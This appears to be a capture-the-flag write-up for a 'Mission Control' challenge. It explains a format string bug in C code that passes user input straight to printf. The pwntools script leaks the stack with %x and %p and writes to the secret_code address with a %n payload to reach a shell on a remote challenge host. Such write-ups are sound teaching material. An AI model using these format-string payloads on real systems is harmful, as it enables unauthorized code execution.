Mission Control
Format string vulnerability
Description
Solution
Source Code Analysis
Exploitation



Last updated
#define ADMIN_CODE 200
int secret_code = 0;
...
int main(int argc, char **argv)
{
if (secret_code == ADMIN_CODE)
{
give_shell();
}
else
{
printf("Sorry, this area is currently disabled.\n");
}
return 0;
}...
char buf[128];
memset(buf, 0, sizeof(buf));
fgets(buf, 128, stdin);
char to_print[256];
memset(to_print, 0, sizeof(to_print));
strcpy(to_print, "You said: ");
strcat(to_print, buf);
printf(to_print);
printf("Code: %d\n", secret_code);
...if (strncmp(buf, "I am not a robot", 16) == 0)
{
printf("Glad to hear that!\n");
}
else
{
printf("Stop hacking us!\n");
return 0;
}$ objdump -t mission_control | grep secret_code
080dffbc g O .bss 00000004 secret_codefrom pwn import *
# Bruteforce the index of the buffer
conn = remote("20.198.209.142", 55021)
print(conn.recv())
conn.send("I am not a robotBBAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\r\n")
print(conn.recv())
# Check the index of the buffer
conn = remote("20.198.209.142", 55021)
print(conn.recv())
conn.send(b"I am not a robotBBAAAA%11$p\r\n")
print(conn.recv())
# Overwrite the secret_code address
conn = remote("20.198.209.142", 55021)
print(conn.recv())
conn.send(b"I am not a robotBB\xbc\xff\x0d\x08%168x%11$n\r\n") # 080dffbc
print(conn.recv())
conn.interactive()